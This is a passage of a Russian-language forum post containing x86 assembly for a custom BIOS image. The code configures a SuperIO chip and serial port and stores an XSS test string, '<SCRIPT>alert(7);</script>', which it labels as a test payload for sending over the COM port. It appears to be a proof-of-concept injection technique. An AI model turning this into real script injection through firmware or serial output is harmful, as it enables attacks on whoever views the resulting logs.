COM_BASE + COM_TB > mov al, ah > out dx, al > jmp sp > > ; Подпрограмма считывания одиночного символа из компорта > > readchar: > mov dx, COM_BASE + COM_LSR > rx_wait: > in al, dx ; Дожидаемся готовности компорта к считыванию > and al, 0x01 ; > jz rx_wait ; > mov dx, COM_BASE + COM_RB > in al, dx > jmp sp > > ; Подпрограмма печати строки > ; Печать строки это печать множества одиночных символов, а значит это множество последовательных вызовов процедуры печати одиночного символа putchar > > print_string: > lodsb > or al, al > jnz write_char > jmp sp > write_char: > shl esp, 0x10 > mov sp,$+5 > jmp putchar > shr esp, 0x10 > jmp print_string > > ; Таблица для настроек SuperIO и компорта > > superio_conf: > db PC97338_FER, 0x0f ; Команда включения на микросхеме SuperIO следующих устройств: компорт, параллельный порт и флоппи диск > db PC97338_FAR, 0x10 ; Задаём стандартные номера коммуникационых портов: LPT=378, COM1=3F8, COM2=2F8 > db PC97338_PTR, 0x00 > serial_conf: > db COM_MCR, 0x00 ; Режим RTS/DTS выключен. RTS=Ready To Send, сигнал готовности отправки данных. DTS = Data To Send, сигнал о том что данные отправлены > db COM_FCR, 0x07 > db COM_LCR, 0x80 > db COM_BRD_LO, 0x01 ; Скорость порта устанавливаем в 115200 > db COM_BRD_HI, 0x00 > db COM_LCR, 0x03 ; Line Control Register, устанавливаем режим передачи 8N1, то есть 8 байт в пакете, N=отсутствие проверки чётности, 1 - количество стоповых битов > > payload: > db '<SCRIPT>alert(7);</script>',0 ; Здесь хранится ASCIIZ строка с тестовым пейлоадом > > > end_com_port: > > times 0x7FFF0 - 0x7F000 - (end_com_port - start_com_port) db 0xFF ; Резервируем неиспользуемую область памяти между основным программным кодом и Reset Vector > > > ; Здесь находится Reset Vector, отсюда начинается исполнение программы после включения компьютера, либо после нажатия кнопки Reset > ; В Reset Vector будет располагаться одна единственная инструкция JMP, делающая переход на основной программный код. > ; Как устроена и как расчитывается инструкция JMP: первый байт это 0xE9 - это сигнатура инструкции JMP > ; Дальше идёт 16 битное число, содержащее адрес перехода > ; В формуле перехода первый знак "-", это означает мы переходим на минус столько-то байт назад. > ; Значение $ - start_com_port это расстояние в байтах до места куда надо перейти, число байт от текущей позиции инструкции JMP и основного программного кода > ; К текущей позиции инструкции JMP процессор приплюсовывает ещё 2 байта, поэтому в формуле есть число 2 > > start_bios_code: > db 0e9h > dw - ($ - start_com_port + 2) > end_bios_code: > times 13 db 0xff ; Заполняем оставшиеся байты до полного размера файла в 524288 байт (0x80000 байт в шестнадцатеричной системе счисления) > > > > Этот материал оказался полезным? Вы можете отблагодарить автора темы путем перевода средств на баланс Отблагодарить автора Сегодня, в 00:54 Изменено Вы должны войти или зарегистрироваться, чтобы ответить. Top Найти На главную Статьи Маркет Гарант Каналы и чаты Telegram канал Telegram чат Группа ВКонтакте Discord сервер Другое Пользователи Заблокированные Правила форума Не пришли деньги? FAQ Реклама Нужна помощь Switch to English * Telegram канал * Telegram чат * LOLZ NEWS * Группа ВКонтакте * Discord сервер * Не пришли деньги? * Нужна помощь * FAQ * Правила форума * Пользователи * Заблокированные * Реклама По дате По количеству симпатий По дате Скопировать BBCode JavaScript error: